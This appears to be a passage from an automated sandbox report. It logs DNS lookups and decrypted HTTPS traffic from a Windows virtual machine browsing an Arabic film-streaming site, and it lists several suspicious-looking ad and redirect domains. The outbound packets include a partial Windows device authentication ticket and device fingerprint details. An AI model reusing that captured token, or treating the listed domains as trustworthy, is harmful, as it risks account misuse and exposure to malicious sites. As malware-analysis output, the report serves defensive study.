Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.448539019 CEST	1.1.1.1	192.168.2.6	0x87ec	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.448539019 CEST	1.1.1.1	192.168.2.6	0x87ec	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.448539019 CEST	1.1.1.1	192.168.2.6	0x87ec	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.448539019 CEST	1.1.1.1	192.168.2.6	0x87ec	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.491835117 CEST	1.1.1.1	192.168.2.6	0xcab4	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.528002024 CEST	1.1.1.1	192.168.2.6	0x83d7	No error (0)	phaivusaido.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.528002024 CEST	1.1.1.1	192.168.2.6	0x83d7	No error (0)	phaivusaido.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.529190063 CEST	1.1.1.1	192.168.2.6	0xd38b	No error (0)	phicmune.net		139.45.197.251	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.529527903 CEST	1.1.1.1	192.168.2.6	0x78c4	No error (0)	phaivusaido.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:57.886487007 CEST	1.1.1.1	192.168.2.6	0xd6e0	No error (0)	st6-20.vk.com	sun6-20.userapi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:57.886583090 CEST	1.1.1.1	192.168.2.6	0xcbff	No error (0)	st6-20.vk.com	sun6-20.userapi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:57.886583090 CEST	1.1.1.1	192.168.2.6	0xcbff	No error (0)	sun6-20.userapi.com		95.142.206.0	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:58.549254894 CEST	1.1.1.1	192.168.2.6	0xa6a6	No error (0)	sqsq2938.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:58.549905062 CEST	1.1.1.1	192.168.2.6	0xf83c	No error (0)	sqsq2938.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:58.549905062 CEST	1.1.1.1	192.168.2.6	0xf83c	No error (0)	blogspot.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:58.944880962 CEST	1.1.1.1	192.168.2.6	0xafbe	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:58.944880962 CEST	1.1.1.1	192.168.2.6	0xafbe	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:58.992849112 CEST	1.1.1.1	192.168.2.6	0x3b9b	No error (0)	oughoaghushouru.net		139.45.197.244	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.168876886 CEST	1.1.1.1	192.168.2.6	0xabf0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.168876886 CEST	1.1.1.1	192.168.2.6	0xabf0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.392896891 CEST	1.1.1.1	192.168.2.6	0x9360	No error (0)	yonmewon.com		139.45.197.236	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.394675016 CEST	1.1.1.1	192.168.2.6	0xbdca	No error (0)	sr7pv7n5x.com		212.117.190.201	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.228563070 CEST	1.1.1.1	192.168.2.6	0x5317	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:03.162678003 CEST	1.1.1.1	192.168.2.6	0x8bf	No error (0)	st6-20.vk.com	sun6-20.userapi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:40:03.162678003 CEST	1.1.1.1	192.168.2.6	0x8bf	No error (0)	sun6-20.userapi.com		95.142.206.0	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:03.162929058 CEST	1.1.1.1	192.168.2.6	0x6b51	No error (0)	st6-20.vk.com	sun6-20.userapi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:40:11.003832102 CEST	1.1.1.1	192.168.2.6	0x40e8	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:11.003843069 CEST	1.1.1.1	192.168.2.6	0x1bbc	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 15, 2024 00:40:14.852385044 CEST	1.1.1.1	192.168.2.6	0x94df	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:14.852385044 CEST	1.1.1.1	192.168.2.6	0x94df	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:31.408843994 CEST	1.1.1.1	192.168.2.6	0xf07a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:31.408843994 CEST	1.1.1.1	192.168.2.6	0xf07a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:51.366846085 CEST	1.1.1.1	192.168.2.6	0x8a7e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 48 36 4e 52 4d 48 79 4f 55 2b 4e 58 51 41 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 62 65 33 35 38 61 37 36 62 62 35 35 62 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: VH6NRMHyOU+NXQA0.1Context: 1ebe358a76bb55b0
2024-10-14 22:39:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-14 22:39:33 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 56 48 36 4e 52 4d 48 79 4f 55 2b 4e 58 51 41 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 62 65 33 35 38 61 37 36 62 62 35 35 62 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 72 79 68 67 75 52 68 53 36 49 68 71 69 33 79 55 45 39 75 69 58 79 63 5a 61 30 73 30 4e 49 61 41 4b 32 56 74 65 65 6c 51 43 4f 39 6c 36 61 32 54 52 64 4a 43 74 73 53 7a 74 77 77 74 63 4c 63 4f 59 50 4d 58 46 32 52 79 45 74 66 5a 47 74 2f 2f 4a 34 78 39 67 51 6a 30 30 79 71 38 49 74 39 30 6d 65 36 55 6a 78 6b 43 76 5a 6e 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: VH6NRMHyOU+NXQA0.2Context: 1ebe358a76bb55b0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfryhguRhS6Ihqi3yUE9uiXycZa0s0NIaAK2VteelQCO9l6a2TRdJCtsSztwwtcLcOYPMXF2RyEtfZGt//J4x9gQj00yq8It90me6UjxkCvZnh
2024-10-14 22:39:33 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 56 48 36 4e 52 4d 48 79 4f 55 2b 4e 58 51 41 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 62 65 33 35 38 61 37 36 62 62 35 35 62 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: VH6NRMHyOU+NXQA0.3Context: 1ebe358a76bb55b0
2024-10-14 22:39:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-14 22:39:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 51 76 6d 61 37 50 65 6d 6b 6d 68 74 4a 46 74 51 6b 55 5a 71 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: hQvma7PemkmhtJFtQkUZqQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 57 73 4e 36 33 57 6f 47 59 6b 32 7a 36 49 36 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 33 30 33 66 37 66 34 37 32 62 33 61 34 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: WsN63WoGYk2z6I6K.1Context: 7d303f7f472b3a4d
2024-10-14 22:39:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-14 22:39:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 57 73 4e 36 33 57 6f 47 59 6b 32 7a 36 49 36 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 33 30 33 66 37 66 34 37 32 62 33 61 34 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 72 79 68 67 75 52 68 53 36 49 68 71 69 33 79 55 45 39 75 69 58 79 63 5a 61 30 73 30 4e 49 61 41 4b 32 56 74 65 65 6c 51 43 4f 39 6c 36 61 32 54 52 64 4a 43 74 73 53 7a 74 77 77 74 63 4c 63 4f 59 50 4d 58 46 32 52 79 45 74 66 5a 47 74 2f 2f 4a 34 78 39 67 51 6a 30 30 79 71 38 49 74 39 30 6d 65 36 55 6a 78 6b 43 76 5a 6e 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: WsN63WoGYk2z6I6K.2Context: 7d303f7f472b3a4d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfryhguRhS6Ihqi3yUE9uiXycZa0s0NIaAK2VteelQCO9l6a2TRdJCtsSztwwtcLcOYPMXF2RyEtfZGt//J4x9gQj00yq8It90me6UjxkCvZnh
2024-10-14 22:39:43 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 57 73 4e 36 33 57 6f 47 59 6b 32 7a 36 49 36 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 33 30 33 66 37 66 34 37 32 62 33 61 34 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: WsN63WoGYk2z6I6K.3Context: 7d303f7f472b3a4d
2024-10-14 22:39:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-14 22:39:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 73 77 5a 36 75 41 2b 54 30 4b 4e 64 72 36 42 30 41 56 61 6a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9swZ6uA+T0KNdr6B0AVajA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49712	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 74 71 38 78 7a 69 6d 72 30 53 32 45 52 4c 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 36 33 38 31 36 63 63 39 66 38 64 38 33 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Ctq8xzimr0S2ERL0.1Context: ad63816cc9f8d83e
2024-10-14 22:39:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-14 22:39:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 74 71 38 78 7a 69 6d 72 30 53 32 45 52 4c 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 36 33 38 31 36 63 63 39 66 38 64 38 33 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 72 79 68 67 75 52 68 53 36 49 68 71 69 33 79 55 45 39 75 69 58 79 63 5a 61 30 73 30 4e 49 61 41 4b 32 56 74 65 65 6c 51 43 4f 39 6c 36 61 32 54 52 64 4a 43 74 73 53 7a 74 77 77 74 63 4c 63 4f 59 50 4d 58 46 32 52 79 45 74 66 5a 47 74 2f 2f 4a 34 78 39 67 51 6a 30 30 79 71 38 49 74 39 30 6d 65 36 55 6a 78 6b 43 76 5a 6e 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Ctq8xzimr0S2ERL0.2Context: ad63816cc9f8d83e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfryhguRhS6Ihqi3yUE9uiXycZa0s0NIaAK2VteelQCO9l6a2TRdJCtsSztwwtcLcOYPMXF2RyEtfZGt//J4x9gQj00yq8It90me6UjxkCvZnh
2024-10-14 22:39:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 74 71 38 78 7a 69 6d 72 30 53 32 45 52 4c 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 36 33 38 31 36 63 63 39 66 38 64 38 33 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Ctq8xzimr0S2ERL0.3Context: ad63816cc9f8d83e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-14 22:39:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-14 22:39:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 56 54 64 66 4b 4d 41 42 6b 4f 78 4c 56 4f 4e 64 68 63 51 2f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iVTdfKMABkOxLVONdhcQ/Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49721	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:46 UTC	661	OUT	GET / HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:46 UTC	854	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Robots-Tag: all,noodp Expires: Mon, 14 Oct 2024 22:39:46 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7GhF10zcI2isCvzuoynnxL5iPTHz82v1OvWn7jkmfIpYS6UwaE3K0RlqPpKWK1ZmP9xJLopMcJvqqMSVS6M2uFvrWOw7Jywm68%2Bg0RVOLT%2BuYxGT524r3DGLX4MHScoSVD620ZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d2b113d4d2641ac-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:46 UTC	515	IN	Data Raw: 37 63 35 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 72 74 6c 27 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 61 72 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 61 Data Ascii: 7c59<!DOCTYPE html><html class='rtl' dir='rtl' lang='ar' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script a
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 31 2e 30 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 27 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 2f 3e 0a 3c 21 2d 2d 20 43 68 72 6f 6d 65 2c 20 46 69 72 65 66 6f 78 20 4f 53 20 61 6e 64 20 4f 70 65 72 61 20 2d 2d 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 21 2d 2d 20 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 20 2d 2d 3e 0a Data Ascii: googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js' type='text/javascript'></script><meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>... Chrome, Firefox OS and Opera --><meta content='' name='theme-color'/>... Windows Phone -->
2024-10-14 22:39:46 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 3a 20 d9 85 d8 b4 d8 a7 d9 87 d8 af d8 a9 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 0a d9 85 d9 88 d9 82 d8 b9 20 d9 85 d8 a7 d9 89 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 d9 88 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 57 45 43 49 4d 41 20 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 d9 85 d8 a8 d8 a7 d8 b4 d8 b1 d8 a9 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 27 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 62 6c 6f 67 67 65 72 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 69 6d 67 2f 62 2f 52 32 39 76 5a 32 78 6c 2f 41 56 76 58 73 45 68 61 6e Data Ascii: content=' : MYCIMA MYCIMA WECIMA ' property='og:description'/><meta content='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhan
